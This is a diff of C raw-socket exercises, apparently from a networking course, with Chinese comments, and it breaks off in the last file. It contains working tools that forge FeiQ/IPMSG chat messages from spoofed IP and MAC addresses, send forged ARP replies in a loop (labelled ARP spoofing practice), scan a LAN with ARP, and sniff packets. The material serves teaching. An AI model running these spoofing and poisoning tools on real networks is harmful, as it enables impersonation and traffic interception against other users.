#include <netinet/ip.h>
#include <netinet/udp.h>
#include <netpacket/packet.h>
#include <sys/ioctl.h>
#include <net/if.h>
#include <unistd.h>
#include <string.h>
#include <stdio.h>
#include <pthread.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <stdlib.h> // system
#include <iconv.h> // iconv 用于转换编码
#include "fake_feiqiu_head.h"
ssize_t send_datapacket(int fd, unsigned char *buf, ssize_t buf_size, const char *ether_name);
unsigned short checksum(unsigned short *buf, int len);
char *convertToUTF8(const char *str); // 将字符串转换为UTF-8编码
char *convertToGB2312(const char *str); // 将字符串转换为GB2312编码
// 伪头部(UDP 校验时需要再 UDP 报文之间加上伪头部)
typedef struct pseudo_udp_head_struct
{
unsigned int saddr; // 源IP
unsigned int daddr; // 目的IP
unsigned char flag; // 0
unsigned char protocol; // 协议类型
unsigned short len; // UDP 首部长度 + 数据部分长度
} PSEUDO_UDP_HEAD;
int main(int argc, char const *argv[])
{
// 创建原始套接字
int sock_fd = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
if (sock_fd < 0)
{
perror("raw socket");
return -1;
}
// 设置网卡名
char eth_name[128] = "";
printf("请输入要伪装的网卡名: ");
scanf("%s", eth_name);
char sender_ip[128] = "";
printf("请输入要伪装的发送者IP: ");
scanf("%s", sender_ip);
char sender_mac[128] = "";
printf("请输入要伪装的发送者MAC: ");
scanf("%s", sender_mac);
char receiver_ip[128] = "";
printf("请输入要伪装的接收者IP: ");
scanf("%s", receiver_ip);
char recv_mac[128] = "";
printf("请输入要伪装的接收者MAC: ");
scanf("%s", recv_mac);
char sender_name[128] = "";
printf("请输入要伪装的发送者名字: ");
scanf("%s", sender_name);
char sender_pc_name[128] = "";
printf("请输入要伪装的发送者电脑名字: ");
scanf("%s", sender_pc_name);
// mac 地址格式化
unsigned char dst_mac[8] = {0}; // 目的 MAC
unsigned char src_mac[8] = {0}; // 发送者 MAC
sscanf(sender_mac, "%hhx:%hhx:%hhx:%hhx:%hhx:%hhx", &src_mac[0], &src_mac[1], &src_mac[2], &src_mac[3], &src_mac[4], &src_mac[5]);
sscanf(recv_mac, "%hhx:%hhx:%hhx:%hhx:%hhx:%hhx", &dst_mac[0], &dst_mac[1], &dst_mac[2], &dst_mac[3], &dst_mac[4], &dst_mac[5]);
while (1)
{
unsigned char udp_buf[1500] = ""; // UDP 数据报
// 伪装飞秋数据报的数据部分
// char msg_data[1024] = "1_lbt6_47#128#704D7B3F6397#0#0#0#4001#9:1694470508:chai:chai:32:hi liangzai";
char msg_data[1024] = "";
char say_what[1024] = "";
printf("请输入要发送的内容:");
// scanf("%s", say_what);
fgets(say_what, sizeof(say_what), stdin); // 比 scanf 的优点是可以输入空格
say_what[strlen(say_what) - 1] = '\0'; // 去掉最后的换行符
if (strcmp(say_what, "exit") == 0)
{
break;
}
if (strcmp(say_what, "clear") == 0)
{
system("clear");
continue;
}
sprintf(msg_data, "1:%d:%s:%s:%d:%s", 123, convertToGB2312(sender_name), convertToGB2312(sender_pc_name), IPMSG_SENDMSG, convertToGB2312(say_what));
int msg_data_len = strlen(msg_data) + strlen(msg_data) % 2; // 整数补齐偶数位,strlen(msg_data)%2 : 偶数+0,奇数+1
printf("msg_data_len = %d ---> %s\n", msg_data_len, convertToUTF8(msg_data));
/* ---------------------组装 UDP 数据报的 UDP 首部--------------------- */
struct udphdr *udp_head = (struct udphdr *)(udp_buf + 14 + 20); // UDP 首部开始位置
udp_head->source = htons(2425); // 源端口
udp_head->dest = htons(2425); // 目的端口
udp_head->len = htons(8 + msg_data_len); // UDP 首部长度 + 数据部分长度
udp_head->check = htons(0); // UDP 首部校验和
/* ---------------------UDP 伪首部校验--------------------- */
// UDP 校验时需要再 UDP 报文之间加上伪头部
/*
UDP 校验中的伪头部(pseudo header)是在计算 UDP 校验和时使用的辅助数据。伪头部包含了源 IP 地址、目的 IP 地址、协议类型(通常是 UDP)和 UDP 报文长度等信息。
在计算 UDP 校验和时,将伪头部和 UDP 报文的内容拼接在一起,然后计算校验和。这样做的目的是增加校验和的安全性,使其更具可靠性。
*/
unsigned char pseudo_udp_buf[1056] = ""; // 伪头部
PSEUDO_UDP_HEAD *pseudo_udp_head = (PSEUDO_UDP_HEAD *)pseudo_udp_buf;
pseudo_udp_head->saddr = inet_addr(sender_ip); // 伪装源IP
pseudo_udp_head->daddr = inet_addr(receiver_ip); // 目的IP
pseudo_udp_head->flag = 0; // 0
pseudo_udp_head->protocol = 17; // 协议类型 UDP
pseudo_udp_head->len = htons(8 + msg_data_len); // UDP 首部长度 + 数据部分长度
memcpy(pseudo_udp_buf + 12, udp_head, 8); // 拷贝 UDP 首部到伪头部
memcpy(pseudo_udp_buf + 12 + 8, msg_data, msg_data_len); // 拷贝数据部分到伪头部
// 计算 UDP 首部校验和
udp_head->check = checksum((unsigned short *)pseudo_udp_buf, 12 + 8 + msg_data_len);
memcpy(udp_buf + 14 + 20 + 8, msg_data, msg_data_len); // 拷贝数据部分到 UDP 首部
/* ---------------------组装 UDP 数据报的 IP 首部--------------------- */
struct iphdr *ip_head = (struct iphdr *)(udp_buf + 14); // IP 首部开始位置
ip_head->version = 4; // 版本号 IPv4
ip_head->ihl = 5; // 首部长度 5 * 4 = 20 字节
ip_head->tos = 0; // 服务类型
ip_head->tot_len = htons(20 + 8 + msg_data_len); // IP 首部长度 + UDP 首部长度 + 数据部分长度
ip_head->id = htons(0); // 标识
ip_head->frag_off = htons(0); // 标志和片偏移
ip_head->ttl = 128; // 生存时间
ip_head->protocol = 17; // 协议类型 UDP
// ip 校验时不需要伪头部
ip_head->check = htons(0); // 原始校验和(暂时未知,赋值0
ip_head->saddr = inet_addr(sender_ip); // 伪装源IP
ip_head->daddr = inet_addr(receiver_ip); // 目的IP
ip_head->check = checksum((unsigned short *)(udp_buf + 14), 20); // IP 首部校验和(计算 IP 首部的校验和)
/* ---------------------组装 UDP 数据报的 MAC 首部--------------------- */
struct ether_header *mac_head = (struct ether_header *)udp_buf; // MAC 首部开始位置
// unsigned char dst_mac[8] = {0xe8, 0x6a, 0x64, 0x6e, 0x93, 0x28}; // 主机 MAC (目的 MAC)
// unsigned char src_mac[8] = {0x4c, 0xe1, 0x73, 0x47, 0x16, 0x3a}; // 虚拟机 MAC (源 MAC)
// 使用 memcpy 函数将 dst_mac 的内容拷贝到 mac_head.ether_dhost 中
memcpy(mac_head->ether_dhost, dst_mac, 6); // 目的 MAC
memcpy(mac_head->ether_shost, src_mac, 6); // 源 MAC
mac_head->ether_type = htons(0x0800); // 2 个字节的数据需要大小端转换 (0x0800: IP 协议)
/* ---------------------发送数据--------------------- */
// int send_len = sendto(sock_fd, udp_buf, 14 + 20 + 8 + msg_data_len, 0, (struct sockaddr *)&sll, sizeof(sll));
int send_len = send_datapacket(sock_fd, udp_buf, 14 + 20 + 8 + msg_data_len, eth_name);
printf("send_len = %d\n", send_len);
}
close(sock_fd);
return 0;
}
ssize_t send_datapacket(int fd, unsigned char *buf, ssize_t buf_size, const char *ether_name)
{
// 1. 获取网络接口类型(通过网卡名查找网卡索引)
struct ifreq ether_req;
bzero(&ether_req, sizeof(ether_req));
strncpy(ether_req.ifr_name, ether_name, IF_NAMESIZE); // # define ifr_name ifr_ifrn.ifrn_name
if (ioctl(fd, SIOCGIFINDEX, &ether_req) == -1)
{
perror("ioctl");
return -1;
}
// 2. 选择发送数据的网络接口索引(选择合适的网卡索引)
struct sockaddr_ll sll;
bzero(&sll, sizeof(sll));
sll.sll_ifindex = ether_req.ifr_ifindex; // # define ifr_ifindex ifr_ifru.ifru_ivalue
// 3. 发送数据
ssize_t len = sendto(fd, buf, buf_size, 0, (struct sockaddr *)&sll, sizeof(sll));
return len;
}
// IP、UDP校验
// 数据报校验计算
// 接收传递的数据地址、长度
unsigned short checksum(unsigned short *buf, int len)
{
int nword = len / 2;
unsigned long sum;
if (len % 2 == 1)
nword++;
for (sum = 0; nword > 0; nword--)
{
sum += *buf;
buf++;
}
sum = (sum >> 16) + (sum & 0xffff);
sum += (sum >> 16);
return ~sum;
}
// 将字符串转换为UTF-8编码
char *convertToUTF8(const char *str)
{
// 输入字符串的长度
size_t inlen = strlen(str);
// 输出缓冲区的长度,假设为输入长度的3倍(UTF-8编码最多占用3个字节)
size_t outlen = inlen * 3;
// 创建转换句柄
iconv_t cd = iconv_open("UTF-8", "GB2312"); // 从 GB2312 转换为 UTF-8
// 分配输出缓冲区
char *outbuf = (char *)malloc(outlen);
if (outbuf == NULL)
{
perror("Memory allocation failed");
return NULL;
}
// 进行转换
char *inbuf = (char *)str;
char *outptr = outbuf;
if (iconv(cd, &inbuf, &inlen, &outptr, &outlen) == (size_t)-1)
{
perror("Conversion failed");
free(outbuf);
iconv_close(cd);
return NULL;
}
// 关闭转换句柄
iconv_close(cd);
// 添加字符串结束符
*outptr = '\0';
return outbuf;
}
// 将字符串转换为GB2312编码
char *convertToGB2312(const char *str)
{
// 输入字符串的长度
size_t inlen = strlen(str);
// 输出缓冲区的长度,假设为输入长度的3倍(UTF-8编码最多占用3个字节)
size_t outlen = inlen * 3;
// 创建转换句柄
iconv_t cd = iconv_open("GB2312", "UTF-8"); // 从 UTF-8 转换为 GB2312
// 分配输出缓冲区
char *outbuf = (char *)malloc(outlen);
if (outbuf == NULL)
{
perror("Memory allocation failed");
return NULL;
}
// 进行转换
char *inbuf = (char *)str;
char *outptr = outbuf;
if (iconv(cd, &inbuf, &inlen, &outptr, &outlen) == (size_t)-1)
{
perror("Conversion failed");
free(outbuf);
iconv_close(cd);
return NULL;
}
// 关闭转换句柄
iconv_close(cd);
// 添加字符串结束符
*outptr = '\0';
return outbuf;
}
+33
View File
@@ -0,0 +1,33 @@
#ifndef __FAKE_FEIQIU_HEAD_H__
#define __FAKE_FEIQIU_HEAD_H__
enum ipmsg_e
{
IPMSG_NOOPERATION = 0x00000000,
IPMSG_BR_ENTRY = 0x00000001,
IPMSG_BR_EXIT = 0x00000002,
IPMSG_ANSENTRY = 0x00000003,
IPMSG_BR_ABSENCE = 0x00000004,
IPMSG_BR_ISGETLIST = 0x00000010,
IPMSG_OKGETLIST = 0x00000011,
IPMSG_GETLIST = 0x00000012,
IPMSG_ANSLIST = 0x00000013,
IPMSG_FILE_MTIME = 0x00000014,
IPMSG_FILE_CREATETIME = 0x00000016,
IPMSG_BR_ISGETLIST2 = 0x00000018,
IPMSG_SENDMSG = 0x00000020,
IPMSG_RECVMSG = 0x00000021,
IPMSG_READMSG = 0x00000030,
IPMSG_DELMSG = 0x00000031,
/* option for all command */
IPMSG_ABSENCEOPT = 0x00000100,
IPMSG_SERVEROPT = 0x00000200,
IPMSG_DIALUPOPT = 0x00010000,
IPMSG_FILEATTACHOPT = 0x00200000
};
#endif
+22
View File
@@ -0,0 +1,22 @@
/*创建链路层的原始套接字*/
#include <netinet/ether.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <stdio.h>
#include <unistd.h>
int main(int argc, char const *argv[])
{
// 创建原始套接字
int sock_fd = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
if (sock_fd < 0)
{
perror("raw socket");
return -1;
}
printf("原始套接字创建成功\n");
close(sock_fd);
return 0;
}
+66
View File
@@ -0,0 +1,66 @@
/*拆解到IP报文*/
#include <netinet/ether.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <stdio.h>
#include <unistd.h>
#include <string.h>
int main(int argc, char const *argv[])
{
// 创建原始套接字
int sock_fd = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
if (sock_fd < 0)
{
perror("raw socket");
return -1;
}
printf("原始套接字创建成功\n");
// 多次接收数据
while (1)
{
// 接链路层的数据报文(MAC报文)
unsigned char buf[1518] = ""; // 记得使用无符号类型
int len = recvfrom(sock_fd, buf, sizeof(buf), 0, NULL, NULL);
if (len < 18)
{
perror("recvfrom");
continue;
}
// 拆解 MAC 数据报文
unsigned char dst_mac[18] = ""; // 目的MAC地址
unsigned char src_mac[18] = ""; // 源MAC地址
unsigned short mac_type = ntohs(*((unsigned short *)(buf + 12)));
// sprintf(src_mac, "%02x:%02x:%02x:%02x:%02x:%02x", buf[6], buf[7], buf[8], buf[9], buf[10], buf[11]);
// sprintf(dst_mac, "%02x:%02x:%02x:%02x:%02x:%02x", buf[0], buf[1], buf[2], buf[3], buf[4], buf[5]);
sprintf(src_mac, "%02x:%02x:%02x:%02x:%02x:%02x", buf[6], buf[7], buf[8], buf[9], buf[10], buf[11]);
sprintf(dst_mac, "%02x:%02x:%02x:%02x:%02x:%02x", buf[0], buf[1], buf[2], buf[3], buf[4], buf[5]);
// if (strncmp(src_mac, "00:00:00", 8) != 0)
printf("dst_mac %s -> src_mac %s type(%#x)\n", dst_mac, src_mac, mac_type);
sleep(1);
switch (mac_type)
{
case 0x0800:
printf("-----ip 数据包-----\n");
break;
case 0x0806:
printf("-----ARP 数据包-----\n");
break;
case 0x8035:
printf("-----RARP 数据包-----\n");
break;
}
}
close(sock_fd);
return 0;
}
+115
View File
@@ -0,0 +1,115 @@
/*拆解UDP数据报*/
#include <netinet/ether.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <stdio.h>
#include <unistd.h>
#include <string.h>
int main(int argc, char const *argv[])
{
// 创建原始套接字
int sock_fd = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
if (sock_fd < 0)
{
perror("raw socket");
return -1;
}
printf("原始套接字创建成功\n");
// 多次接收数据
while (1)
{
// 接链路层的数据报文(MAC报文)
unsigned char buf[1518] = ""; // 记得使用无符号类型
int len = recvfrom(sock_fd, buf, sizeof(buf), 0, NULL, NULL);
if (len < 18)
{
perror("recvfrom");
continue;
}
// 拆解 MAC 数据报文
unsigned char dst_mac[18] = ""; // 目的MAC地址
unsigned char src_mac[18] = ""; // 源MAC地址
unsigned short mac_type = ntohs(*((unsigned short *)(buf + 12)));
sprintf(dst_mac, "%02x:%02x:%02x:%02x:%02x:%02x", buf[0], buf[1], buf[2], buf[3], buf[4], buf[5]);
sprintf(src_mac, "%02x:%02x:%02x:%02x:%02x:%02x", buf[6], buf[7], buf[8], buf[9], buf[10], buf[11]);
if (strncmp(src_mac, "00:00:00", 8) != 0)
printf("src_mac %s -> dst_mac %s type(%#x)\n", src_mac, dst_mac, mac_type);
// sleep(1);
// usleep(5);
switch (mac_type)
{
case 0x0800:
printf("-----ip 数据包-----\n");
// 拆解IP数据报
unsigned char *ip_buf = buf + 14;
// 读取IP首部长度: 单位是 4 字节
unsigned char ip_head_len = (ip_buf[0] & 0x0f) * 4;
printf("IP数据报的首部长度: %d\n", ip_head_len);
unsigned char ip_type = ip_buf[9]; // 协议类型
// 读取源IP和目的IP
unsigned char src_ip[INET_ADDRSTRLEN] = ""; // 源IP
unsigned char dst_ip[INET_ADDRSTRLEN] = ""; // 目的IP
inet_ntop(AF_INET, (unsigned int *)(ip_buf + 12), src_ip, INET_ADDRSTRLEN);
inet_ntop(AF_INET, (unsigned int *)(ip_buf + 16), dst_ip, INET_ADDRSTRLEN);
printf("src_ip: %s -> dst_ip: %s \n", src_ip, dst_ip);
if (ip_type == 1)
{
printf("\t------ICMP 数据报-----\n");
}
else if (ip_type == 2)
{
printf("\t------IGMP 数据报-----\n");
}
else if (ip_type == 6)
{
printf("\t------TCP 数据报-----\n");
// 拆解TCP的数据报
unsigned char *tcp_buf = ip_buf + ip_head_len; // 取出TCP的报文
unsigned short src_port = ntohs(*((unsigned short *)(tcp_buf))); // 源端口
unsigned short dst_port = ntohs(*((unsigned short *)(tcp_buf + 2))); // 目的端口
printf("\tsrc_port: %d -> dst_port: %d\n", src_port, dst_port);
// TCP 的数据报
}
else if (ip_type == 17)
{
printf("\t------UDP 数据报-----\n");
// 拆解UDP的数据报
unsigned char *udp_buf = ip_buf + ip_head_len; // 取出UDP的报文
unsigned short src_port = ntohs(*((unsigned short *)udp_buf));
unsigned short dst_port = ntohs(*((unsigned short *)(udp_buf + 2)));
printf("\tsrc_port: %d -> dst_port: %d\n", src_port, dst_port);
// UDP 的数据报长度: 由首部+数据长度(偶数)组成
unsigned short udp_buf_len = ntohs(*((unsigned short *)(udp_buf + 4))); // ntohs 用于大端转小端
int udp_date_size = udp_buf_len - 8;
char udp_date[128] = ""; // UDP 数据部分
strncpy(udp_date, udp_buf + 8, udp_buf_len - 8);
printf("\t\t %d -> %d data: %s\n", src_port, dst_port, udp_date);
}
break;
case 0x0806:
printf("-----ARP 数据包-----\n");
break;
case 0x8035:
printf("-----RARP 数据包-----\n");
break;
}
}
close(sock_fd);
return 0;
}
+79
View File
@@ -0,0 +1,79 @@
/*单播ARP应答*/
#include <arpa/inet.h>
#include <netinet/in.h>
#include <netinet/ether.h>
#include <netpacket/packet.h>
#include <sys/ioctl.h>
#include <net/if.h> // ifreq
#include <unistd.h>
#include <string.h> // bzero
#include <stdio.h>
// 发送原始数据报
ssize_t send_datapacket(int fd, unsigned char *buf, ssize_t buf_size, const char *ether_name);
ssize_t send_datapacket(int fd, unsigned char *buf, ssize_t buf_size, const char *ether_name)
{
// 1. 获取网络接口类型(通过网卡名查找网卡索引)
struct ifreq ether_req;
bzero(&ether_req, sizeof(ether_req));
strncpy(ether_req.ifr_name, ether_name, IF_NAMESIZE); // # define ifr_name ifr_ifrn.ifrn_name
if (ioctl(fd, SIOCGIFINDEX, &ether_req) == -1)
{
perror("ioctl");
return -1;
}
// 2. 选择发送数据的网络接口索引(选择合适的网卡索引)
struct sockaddr_ll sll;
bzero(&sll, sizeof(sll));
sll.sll_ifindex = ether_req.ifr_ifindex; // # define ifr_ifindex ifr_ifru.ifru_ivalue
// 3. 发送数据
ssize_t len = sendto(fd, buf, buf_size, 0, (struct sockaddr *)&sll, sizeof(sll));
return len;
}
int main(int argc, char const *argv[])
{
// 创建原始套接字
int sock_fd = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
if (sock_fd < 0)
{
perror("raw socket");
return -1;
}
// 组ARP应答报文(如果是ARP欺骗,则源MAC为0x00,0x00,0x00,0x00,0x00,0x00)
uint32_t src_ip = inet_addr("10.12.156.204"); // 发送的 ip 地址
uint32_t dst_ip = inet_addr("10.12.156.178"); // 点分十进制转换为数字字符串
unsigned char *src_ip_p = (unsigned char *)&src_ip; // src_ip 的字符类型指针
unsigned char *dst_ip_p = (unsigned char *)&dst_ip;
unsigned char buf[] = {
0x00, 0x0c, 0x29, 0xf7, 0x81, 0x4c, /*目的MAC地址*/
0x00, 0x0c, 0x29, 0x85, 0xcc, 0x67, /* 源MAC地址 */
0x08, 0x06, /* ARP帧类型 */
0x00, 0x01, /* 硬件类型 */
0x08, 0x00, /* 协议类型(IP协议0x0800) */
0x06, 0x04, /* 硬件地址长度(MAC地址长度) 和 协议地址长度(IP 地址长度) */
0x00, 0x02, /* OP操作类型(ARP应答 = 2) */
0x00, 0x0c, 0x29, 0x85, 0xcc, 0x67, /* 发送端MAC地址 */
src_ip_p[0], src_ip_p[1], src_ip_p[2], src_ip_p[3], /* 源(发送端) IP 地址 */
0x00, 0x0c, 0x29, 0xf7, 0x81, 0x4c, /*接收端MAC地址*/
dst_ip_p[0], dst_ip_p[1], dst_ip_p[2], dst_ip_p[3] /* 接收端 IP 地址 */
};
// 单播发送ARP应答
ssize_t len = send_datapacket(sock_fd, buf, sizeof(buf), "ens38");
if (len > 0)
{
printf("send arp success! \n");
}
close(sock_fd);
return 0;
}
+141
View File
@@ -0,0 +1,141 @@
/*
扫描所有局域网IP地址的MAC信息
发ARP请求报文,通过for循环组成同一个网段的不同IP地址,发送出来,并接收响应的ARP报文信息
*/
#include <arpa/inet.h>
#include <netinet/in.h>
#include <netinet/ether.h>
#include <netpacket/packet.h>
#include <sys/ioctl.h>
#include <net/if.h> // ifreq
#include <unistd.h>
#include <string.h> // bzero
#include <stdio.h>
#include <pthread.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
// 发送原始数据报
ssize_t send_datapacket(int fd, unsigned char *buf, ssize_t buf_size, const char *ether_name);
void *recv_packetdata(void *arg)
{
// 创建原始套接字
int sock_fd = *((int *)arg);
while (1)
{
// 接链接层的数据报文
unsigned char buf[1518] = "";
int len = recvfrom(sock_fd, buf, sizeof(buf), 0, NULL, NULL);
if (len < 18)
{
perror("recvfrom");
continue;
}
// 拆解MAC数据报文
unsigned char dst_mac[18] = "";
unsigned char src_mac[18] = "";
unsigned short mac_type = ntohs(*((unsigned short *)(buf + 12)));
sprintf(dst_mac, "%02x:%02x:%02x:%02x:%02x:%02x",
buf[0], buf[1], buf[2], buf[3], buf[4], buf[5]);
sprintf(src_mac, "%02x:%02x:%02x:%02x:%02x:%02x",
buf[6], buf[7], buf[8], buf[9], buf[10], buf[11]);
if (mac_type == 0x0806) // 当类型为ARP时
{
printf("------ARP数据报-----\n");
unsigned char src_ip[16] = "";
unsigned char dst_ip[16] = "";
unsigned short op = ntohs(*((unsigned short *)(buf + 20)));
if (op == 2) // 只显示ARP应答的数据
{
// inet_ntop函数被用于将存储在buf + 28位置的二进制IPv4地址转换为字符串表示形式,并将结果存储在src_ip变量中。
inet_ntop(AF_INET, (unsigned int *)(buf + 28), src_ip, 16);
inet_ntop(AF_INET, (unsigned int *)(buf + 38), dst_ip, 16);
printf("%s(%s) -> %s(%s)\n", src_mac, src_ip, dst_mac, dst_ip);
}
}
}
}
int main(int argc, char const *argv[])
{
// 创建原始套接字 // htons(ETH_P_ALL)的作用是将以太网协议号转换为网络字节序,以便在创建原始套接字时使用正确的协议号。
int sock_fd = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
if (sock_fd < 0)
{
perror("raw socket");
return -1;
}
// 创建接收数据报的线程
pthread_t tid;
pthread_create(&tid, NULL, recv_packetdata, &sock_fd);
// pthread_detach(tid);
// 组织ARP应答报文(如果是ARP欺骗,则源MAC地址可以修改为全0或修改为其他用于伪装的MAC地址)
uint32_t src_ip = inet_addr("10.12.156.204");
// 扫描所有网内的IP的MAC地址
for (int i = 150; i < 253; i++)
// for (int i = 2; i < 255; i++)
{
unsigned char dst_ip_[16] = "";
sprintf(dst_ip_, "10.12.156.%d", i);
// inet_addr函数被用于将点分十进制表示的IPv4地址转换为32位无符号整数的网络字节序表示。
uint32_t dst_ip = inet_addr(dst_ip_);
unsigned char *src_ip_pointer = (unsigned char *)&src_ip; // 定义源地址ip指针
unsigned char *dst_ip_pointer = (unsigned char *)&dst_ip;
unsigned char buf[] = {
// 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 用于广播, 常用于扫描MAC地址
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, /*目标MAC*/
0x00, 0x0c, 0x29, 0x85, 0xcc, 0x67, /*源MAC*/
0x08, 0x06, /*帧类型(ARP)*/
0x00, 0x01, /*硬件类型(以太网)*/
0x08, 0x00, /*协议类型(IP)*/
0x06, 0x04, /*硬件地址长度(6字节)和协议地址长度(4字节)*/
0x00, 0x01, /*操作类型(ARP请求)*/
0x00, 0x0c, 0x29, 0x85, 0xcc, 0x67, /*发送方MAC*/
src_ip_pointer[0], src_ip_pointer[1], src_ip_pointer[2], src_ip_pointer[3], /*发送方IP*/
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, /*目标MAC*/
dst_ip_pointer[0], dst_ip_pointer[1], dst_ip_pointer[2], dst_ip_pointer[3] /*目标IP*/
};
// 单播(发送ARP请求): 通过网卡名查找网卡索引, 选择合适的网卡索引, 发送数据
ssize_t len = send_datapacket(sock_fd, buf, sizeof(buf), "ens38");
if (len > 0)
{
printf("发送ARP应答报文成功\n");
}
usleep(1000 * 1000);
}
pthread_join(tid, NULL);
close(sock_fd);
return 0;
}
ssize_t send_datapacket(int fd, unsigned char *buf, ssize_t buf_size, const char *ether_name)
{
// 1. 获取网络接口类型(通过网卡名查找网卡索引)
struct ifreq ether_req;
bzero(&ether_req, sizeof(ether_req));
strncpy(ether_req.ifr_name, ether_name, IF_NAMESIZE); // # define ifr_name ifr_ifrn.ifrn_name
if (ioctl(fd, SIOCGIFINDEX, &ether_req) == -1)
{
perror("ioctl");
return -1;
}
// 2. 选择发送数据的网络接口索引(选择合适的网卡索引)
struct sockaddr_ll sll;
bzero(&sll, sizeof(sll));
sll.sll_ifindex = ether_req.ifr_ifindex; // # define ifr_ifindex ifr_ifru.ifru_ivalue
// 3. 发送数据
ssize_t len = sendto(fd, buf, buf_size, 0, (struct sockaddr *)&sll, sizeof(sll));
return len;
}
+92
View File
@@ -0,0 +1,92 @@
/* ARP欺骗-练习3
实时响应ARP报文,将源MAC地址的全置0.
*/
#include <arpa/inet.h> // inet_addr
#include <netinet/in.h> // in_addr
#include <netinet/ether.h> // ether_aton
#include <netpacket/packet.h> // sockaddr_ll
#include <sys/ioctl.h> // ioctl
#include <net/if.h> // ifreq
#include <unistd.h> // close
#include <string.h> // bzero
#include <stdio.h> // printf
#include <pthread.h> // pthread_create
#include <sys/types.h> // open
#include <sys/stat.h> // open
// 发送原始数据报
ssize_t send_datapacket(int fd, unsigned char *buf, ssize_t buf_size, const char *ether_name);
void *arp_packetdata_send(void *arg)
{
// 创建原始套接字
int sock_fd = *((int *)arg);
while (1)
{
// 发送ARP欺骗应答报文
unsigned char src_ip_pointer[] = {10, 12, 156, 204}; // 发送的 IP 地址
unsigned char dst_ip_pointer[] = {10, 12, 156, 178}; // 目标 IP 地址 点分十进制转换为数字字符串
unsigned char dst_mac[] = {0x00, 0xd8, 0x61, 0x03, 0x45, 0x65}; // 目标 MAC 地址
unsigned char arp_buf[] = {
dst_mac[0], dst_mac[1], dst_mac[2], dst_mac[3], dst_mac[4], dst_mac[5], // 目的MAC地址
// 00:0c:29:85:cc:67
// 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 源MAC地址
0x00, 0x0c, 0x29, 0x85, 0xcc, 0x67, // 源MAC地址
0x08, 0x06, // ARP帧类型
0x00, 0x01, // 硬件类型
0x08, 0x00, // 协议类型(IP协议0x0800)
0x06, 0x04, // 硬件地址长度(MAC地址长度) 和 协议地址长度(IP 地址长度)
0x00, 0x02, // 操作类型(ARP应答0x0002)
0x00, 0x0c, 0x29, 0x85, 0xcc, 0x67, // 发送方MAC地址
src_ip_pointer[0], src_ip_pointer[1], src_ip_pointer[2], src_ip_pointer[3], // 发送方IP地址
dst_mac[0], dst_mac[1], dst_mac[2], dst_mac[3], dst_mac[4], dst_mac[5], // 目的MAC地址
dst_ip_pointer[0], dst_ip_pointer[1], dst_ip_pointer[2], dst_ip_pointer[3] // 目的IP地址
};
// 单播发送ARP应答报文
ssize_t len = send_datapacket(sock_fd, arp_buf, sizeof(arp_buf), "ens38"); // ens38 为网卡名
}
}
int main(int argc, char const *argv[])
{
// 创建原始套接字
int sock_fd = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
if (sock_fd < 0)
{
perror("raw socket");
return -1;
}
// 创建线程发送ARP欺骗应答报文
pthread_t tid;
pthread_create(&tid, NULL, arp_packetdata_send, &sock_fd);
pthread_join(tid, NULL);
close(sock_fd);
return 0;
}
ssize_t send_datapacket(int fd, unsigned char *buf, ssize_t buf_size, const char *ether_name)
{
// 1. 根据网卡名获取网卡索引
struct ifreq ether_req;
bzero(&ether_req, sizeof(ether_req)); // 清空结构体 ether_req
strncpy(ether_req.ifr_name, ether_name, IF_NAMESIZE); // # define ifr_name ifr_ifrn.ifrn_name // 将网卡名复制到 ether_req.ifr_name 中
// 通过网卡名查找网卡索引 SIOCGIFINDEX 为获取网卡索引
if (ioctl(fd, SIOCGIFINDEX, &ether_req) == -1)
{
perror("ioctl");
return -1;
}
// 2. 选择发送数据的网络接口索引
struct sockaddr_ll sll;
bzero(&sll, sizeof(sll)); // 清空结构体 sll
sll.sll_ifindex = ether_req.ifr_ifindex; // # define ifr_ifindex ifr_ifru.ifru_ivalue // 选择发送数据的网络接口索引
// 3. 发送数据
ssize_t len = sendto(fd, buf, buf_size, 0, (struct sockaddr *)&sll, sizeof(sll));
return len;
}
+197
View File
@@ -0,0 +1,197 @@
#include <stdio.h>
#include <libnet.h>
#include <iconv.h> // iconv 用于转换编码
// 将字符串转换为UTF-8编码
char *convertToUTF8(const char *str)
{
// 输入字符串的长度
size_t inlen = strlen(str);
// 输出缓冲区的长度,假设为输入长度的3倍(UTF-8编码最多占用3个字节)
size_t outlen = inlen * 3;
// 创建转换句柄
iconv_t cd = iconv_open("UTF-8", "GB2312"); // 从 GB2312 转换为 UTF-8
// 分配输出缓冲区
char *outbuf = (char *)malloc(outlen);
if (outbuf == NULL)
{
perror("Memory allocation failed");
return NULL;
}
// 进行转换
char *inbuf = (char *)str;
char *outptr = outbuf;
if (iconv(cd, &inbuf, &inlen, &outptr, &outlen) == (size_t)-1)
{
perror("Conversion failed");
free(outbuf);
iconv_close(cd);
return NULL;
}
// 关闭转换句柄
iconv_close(cd);
// 添加字符串结束符
*outptr = '\0';
return outbuf;
}
// 将字符串转换为GB2312编码
char *convertToGB2312(const char *str)
{
// 输入字符串的长度
size_t inlen = strlen(str);
// 输出缓冲区的长度,假设为输入长度的3倍(UTF-8编码最多占用3个字节)
size_t outlen = inlen * 3;
// 创建转换句柄
iconv_t cd = iconv_open("GB2312", "UTF-8"); // 从 UTF-8 转换为 GB2312
// 分配输出缓冲区
char *outbuf = (char *)malloc(outlen);
if (outbuf == NULL)
{
perror("Memory allocation failed");
return NULL;
}
// 进行转换
char *inbuf = (char *)str;
char *outptr = outbuf;
if (iconv(cd, &inbuf, &inlen, &outptr, &outlen) == (size_t)-1)
{
perror("Conversion failed");
free(outbuf);
iconv_close(cd);
return NULL;
}
// 关闭转换句柄
iconv_close(cd);
// 添加字符串结束符
*outptr = '\0';
return outbuf;
}
int main(int argc, char const *argv[])
{
if (argc < 2)
{
